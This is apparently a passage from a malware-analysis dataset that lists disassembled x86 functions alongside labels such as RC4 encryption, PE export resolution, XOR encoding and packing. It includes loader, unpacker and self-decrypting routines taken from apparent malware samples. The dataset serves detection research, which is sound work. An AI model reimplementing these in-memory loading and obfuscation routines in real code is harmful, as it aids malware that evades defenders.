joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100f9a37
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov dword [0x101f0c1c], 0x1367
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + 0x10]
add ecx, 0x3c
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
xor eax, eax
mov ecx, dword [0x101f0c1c]
mov edx, dword [ebp - 0x14]
mov esi, dword [edx]
mov edi, ecx
add edi, 0xffffec0a
mov dword [0x101f0c1c], edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], edx
je 0x100f9abc
mov eax, dword [ebp - 0x24]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], eax
jl 0x100f9a8f
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov edx, dword [ebp - 0x1c]
add edx, 0xfffff5a8
mov dword [0x101f0c1c], edx
mov edx, dword [ebp - 0x18]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
jne 0x100f9bb5
xor eax, eax
mov dword [0x101f0c1c], 0x28f
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x30], eax
jne 0x100f9bb5
mov dword [0x101f0c1c], 0x2505
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x30], eax
jne 0x100f9bb5
mov dword [0x101f0c20], 0x870
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov dx, word [eax + ecx*2 - 0x14]
mov word [ebp - 0x32], dx
xor eax, eax
mov cx, word [ebp - 0x32]
cmp cx, 0x64
mov dword [ebp - 0x30], eax
jne 0x100f9bb5
xor eax, eax
mov dword [0x101f0c1c], 0x264f
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x30], eax
jne 0x100f9bb5
xor eax, eax
mov dword [0x101f0c1c], 0x1f9e
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x30], eax
jne 0x100f9bb5
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x30], eax
jne 0x100f9bb5
mov eax, 1
mov dword [0x101f0c1c], 0x536
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret
Function at 0x100f9e34
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101f0c28], 0
mov byte [0x101f0c2c], 0
mov dword [0x101f0c20], 0x247e
mov dword [0x101f0c24], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x100f9e8c
xor eax, eax
mov dword [0x101f0c24], 0
mov dword [ebp - 0x20], eax
jmp 0x100f9eb4
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101f0c24]
add eax, 1
mov dword [0x101f0c24], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100f9e8c
jmp 0x100f9e7b
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101f0c30], 0
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x101f0c1c]
mov ebx, edi
add ebx, 0xffffd965
mov dword [0x101f0c20], ebx
mov ebx, dword [0x101f0c28]
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [esi + ecx]
add ecx, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add ecx, edx
mov dword [0x101f0c30], ecx
mov dword [0x101f0c20], 0x162a
mov eax, ecx
cdq
mov ecx, dword [ebp - 0x28]
idiv ecx
mov dword [0x101f0c28], edx
add edi, 0x26f4
mov dword [0x101f0c1c], edi
mov edi, dword [ebp - 0x24]
mov cl, byte [esi + edi]
mov byte [0x101f0c2c], cl
mov dword [0x101f0c1c], 0x8fc
mov cl, byte [esi + edx]
mov byte [esi + edi], cl
mov dword [0x101f0c1c], 0x721
mov cl, byte [0x101f0c2c]
mov edx, dword [0x101f0c28]
mov byte [esi + edx], cl
mov dword [0x101f0c20], 0x15d4
mov edx, dword [0x101f0c24]
add edx, 1
mov dword [0x101f0c24], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x100f9eb4
mov dword [0x101f0c1c], 0x71f
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100f9f9e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [0x100fd70f]
mov esi, 0xe
lea edi, [ebp - 0x2c]
mov ebx, dword [0x101f0c1c]
add ebx, 0x1e99
mov dword [0x101f0c1c], ebx
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], 0xe
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], esi
call fcn.100f9d7f
mov eax, dword [0x101f0c1c]
add eax, 0xfffffc44
mov dword [0x101f0c20], eax
mov dword [0x101f0c1c], 0x6c2
call fcn.100fa5a9
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.100f9bfe
xor ecx, ecx
mov dword [0x101f0c1c], 0x236d
cmp eax, 0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
je 0x100fa0f8
mov eax, dword [ebp - 0x40]
mov dword [0x101f0c1c], 0x1258
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x101f0c1c]
add ecx, 0x194b
mov dword [0x101f0c20], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x30]
mov dword [esp + 4], ecx
mov dword [ebp - 0x48], eax
call fcn.100fa4a9
mov eax, dword [ebp - 0x48]
mov word [eax], 0x5a4d
add eax, 0x3c
mov dword [ebp - 0x4c], eax
xor eax, eax
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], 0xd0
mov edx, dword [ebp - 0x48]
mov dword [edx + 0xd0], 0x4550
add edx, 0xffc00000
mov esi, dword [ebp - 0x34]
mov dword [esi + 0x40], edx
mov dword [0x101f0c1c], 0x341
mov edx, dword [ebp - 0x48]
mov dword [esi + 0x18], edx
cmp edx, 0
mov dword [ebp - 0x44], eax
je 0x100fa0f8
mov eax, dword [ebp - 0x48]
add eax, 0x18be
mov dword [0x101f0c20], 0x1ddf
mov dword [0x101f0c1c], 0xffffefc9
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100fa156
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov eax, dword [ebp + 8]
mov ecx, dword [0x101f0c1c]
add ecx, 0xffffea42
mov dword [0x101f0c20], ecx
mov dword [ebp - 0x10], eax
call fcn.100fad94
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov dword [0x101f0c1c], 0x1516
mov esi, dword [eax + esi + 0x78]
mov dword [0x101f0c1c], 0x11d0
mov edi, edx
add edi, dword [eax + esi + 0x20]
mov dword [0x101f0c20], 0x6c2
mov eax, dword [eax + esi + 0x18]
cmp eax, 0
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ecx
je 0x100fa30c
jmp 0x100fa252
mov eax, dword [ebp - 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x31], bh
mov byte [ebp - 0x32], cl
je 0x100fa2d4
jmp 0x100fa297
mov eax, dword [ebp - 0x38]
add eax, 2
mov dword [0x101f0c1c], 0x10da
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov edx, dword [ebp - 0x18]
cmp ecx, edx
setb bl
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0x45], bl
mov eax, 0xffffeebe
xor ecx, ecx
mov dl, byte [ebp - 0x45]
test dl, 1
mov esi, dword [ebp - 0x40]
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x24], ecx
jne 0x100fa272
jmp 0x100fa30c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
add eax, dword [eax + ecx + 0x24]
mov dword [ebp - 0x58], eax
mov eax, 0xffffefb4
xor ecx, ecx
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
xor esi, esi
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + eax*4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], esi
jmp 0x100fa1ce
mov eax, dword [ebp - 0x30]
add eax, 1
mov cl, byte [ebp - 0x31]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x32]
and ch, dl
cmp eax, 0x20
setb dl
mov dword [ebp - 0x60], eax
mov byte [ebp - 0x61], ch
mov byte [ebp - 0x62], dl
mov al, byte [ebp - 0x61]
mov cl, byte [ebp - 0x62]
and al, cl
test al, 1
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x28], edx
jne 0x100fa1ce
mov al, byte [ebp - 0x32]
test al, 1
jne 0x100fa2e0
jmp 0x100fa200
mov eax, dword [ebp - 0x38]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5c]
mov dword [0x101f0c20], edx
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
add esi, dword [esi + edi + 0x1c]
mov ebx, dword [ebp - 0x1c]
add ebx, dword [esi + ecx*4]
mov dword [0x101f0c1c], 0x1a69
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
add esp, 0x58
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100faa42
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [ebp + 8]
mov dword [0x101f0c20], 0x26bd
mov dword [0x101f0c1c], 0xe95
mov dword [ebp - 0x30], eax
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
jmp 0x100faa71
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
lea edx, section..data
imul esi, eax, 0xc8
mov edi, edx
add edi, esi
add edi, 0x84
mov esi, dword [edi]
imul edi, eax, 0xc8
add edx, edi
add edx, 0x3c
movzx edx, word [edx]
xor edx, esi
add edx, ecx
add eax, 1
cmp eax, 0x1a9
mov ecx, edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
jne 0x100faa71
lea eax, [0x100fd70f]
mov ecx, 0xe
lea edx, [ebp - 0x2c]
mov dword [0x101f0c20], 0x130b
mov dword [0x101f0c1c], 0x1346
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xe
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], ecx
call fcn.100f9d7f
mov dword [0x101f0c20], 0xb5d
mov dword [0x101f0c1c], 0x6c2
call fcn.100fa5a9
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.100f9bfe
mov ecx, eax
mov dword [0x101f0c3c], eax
mov eax, esp
mov edx, dword [ebp - 0x3c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
lea edx, section..data
imul esi, eax, 0xc8
mov edi, edx
add edi, esi
add edi, 0x84
mov esi, dword [edi]
imul edi, eax, 0xc8
mov ebx, edx
add ebx, edi
mov edi, dword [ebx]
imul ebx, eax, 0xc8
add edx, ebx
add edx, 0x3c
movzx edx, word [edx]
xor edx, esi
mov esi, dword [ebp - 0x48]
add esi, ecx
mov dword [esp], esi
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x5c], edx
call fcn.100fac60
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
add eax, ecx
mov edx, dword [ebp - 0x54]
add edx, 1
cmp edx, 0x1a9
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
jne 0x100fab54
mov dword [0x101f0c20], 0x9b1
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov dword [esp + 4], eax
mov ecx, dword [ebp - 0x3c]
mov dword [esp + 8], ecx
call fcn.100fa317
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 0x685b3
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov ecx, dword [0x101f0c1c]
add ecx, 0x183c
mov dword [0x101f0c1c], ecx
mov dword [edx + 4], 0x146000
mov dword [0x101f0c20], 0x13e1
mov ecx, dword [ebp - 0x48]
add ecx, 0x4cb5b
mov dword [edx + 8], ecx
mov ecx, dword [0x101f0c1c]
add ecx, 0x1510
mov dword [0x101f0c1c], ecx
mov dword [edx + 0xc], 0x20c0
mov ecx, dword [0x101f0c20]
add ecx, 0xfffff7d7
mov dword [0x101f0c20], ecx
add esp, 0x60
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100faf01
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x101f0c24], 0
mov dword [0x101f0c28], 0
mov dword [0x101f0c34], 0
mov dword [0x101f0c20], 0x222c
mov dword [0x101f0c1c], 0x4207
cmp eax, 0
sete bl
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x1d], bl
xor eax, eax
mov ecx, 0x4207
mov dl, byte [ebp - 0x1d]
test dl, 1
mov esi, eax
mov edi, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], eax
jne 0x100fb0c5
jmp 0x100faf84
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
mov edi, 0x100
add ecx, 0xfffff351
mov dword [0x101f0c1c], ecx
add edx, 1
mov dword [ebp - 0x34], eax
mov eax, edx
cdq
idiv edi
mov dword [0x101f0c24], edx
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv edi
mov dword [0x101f0c28], edx
mov dword [0x101f0c1c], 0x1bda
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x101f0c2c], cl
mov dword [0x101f0c1c], 0x297
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x101f0c1c], 0x2f0
mov cl, byte [0x101f0c2c]
mov edx, dword [0x101f0c28]
mov byte [edi + edx], cl
mov edx, dword [0x101f0c24]
movzx edx, byte [edi + edx]
mov ebx, dword [0x101f0c28]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x101f0c20], 0xffffe4ab
and ebx, 0xff
mov dword [0x101f0c34], ebx
mov dword [0x101f0c1c], 0x1696
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x34]
mov ch, byte [edx + ebx]
mov byte [0x101f0c39], ch
mov byte [0x101f0c3a], cl
xor ch, cl
mov byte [0x101f0c38], ch
mov dword [0x101f0c20], 0xffffef26
mov dword [0x101f0c1c], 0x15f1
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x3c], ebx
je 0x100fb0c5
mov eax, dword [0x101f0c1c]
mov ecx, dword [0x101f0c24]
mov edx, dword [0x101f0c28]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x30], esi
jmp 0x100faf84
mov dword [0x101f0c20], 0x23ec
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100fb0d7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xa8
call fcn.1000106e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x2c], ecx
je 0x100fb13e
jmp 0x100fb24b
mov eax, dword [esp + 0x28]
mov dword [esp + 0x74], eax
mov dword [0x101f0c1c], 0x1516
mov ecx, dword [esp + 0x24]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x54], edx
mov dword [0x101f0c20], 0x3a6
call fcn.100f9a37
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x20], ecx
je 0x100fb20f
jmp 0x100fb243
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.100faa42
lea ecx, [esp + 0x40]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x44], edx
mov dword [0x101f0c20], 0x1082
mov dword [esp + 0x88], 0x146000
mov edx, dword [0x101f0c08]
add ecx, 0x58
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
lea eax, [0x100fa452]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov dword [ecx], edx
mov esi, dword [0x101f0c0c]
mov dword [esp + 0x64], esi
mov esi, dword [0x101f0c10]
mov dword [esp + 0x60], esi
mov esi, dword [0x101f0c14]
mov dword [esp + 0x90], esi
mov esi, dword [0x101f0c18]
mov dword [esp + 0x70], esi
mov dword [0x101f0c1c], 0xffffe113
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
cmp word [eax], 0x5a4d
mov dword [esp + 0x28], eax
jne 0x100fb1fb
mov eax, dword [esp + 0x28]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x24], ecx
je 0x100fb0fb
mov eax, dword [esp + 0x28]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0xc], eax
jmp 0x100fb1d4
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.100f9f9e
mov dword [0x101f0c20], 0x2491
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x7bc81f54
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x7cab0185
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1000983f
pop dword [ebp - 0x3c]
mov eax, 0x2672dc11
add eax, 0xe98dbc2e
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x38ed7
push 0
mov eax, 0x21a88447
add eax, 0xee58bc1d
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0xc941bd47
add ecx, 0x36be8a6d
xor edi, edi
add edi, eax
mov edx, 0x2a9beba
sub edx, 0xf2a838ba
add edx, dword [ebp - 0x3c]
mov esi, 0x24b9244e
add esi, 0xe1c4c26b
sub dword [ebp - 0x2c], 0x543b2a58
mov ebx, dword [edx]
sub dword [ebp - 4], 0xd82f441d
xor ebx, esi
sub dword [ebp - 0x18], 0xaaed0f10
mov dword [edi], ebx
add dword [ebp - 0x24], 0x94d5a55
add edi, 0x247937b
sub edi, 0x2479377
add edx, 0x13d7fc18
add edx, 0xec2803ec
loop 0x100098a0
add eax, 0xaa79d8b3
sub eax, 0xaa78c710
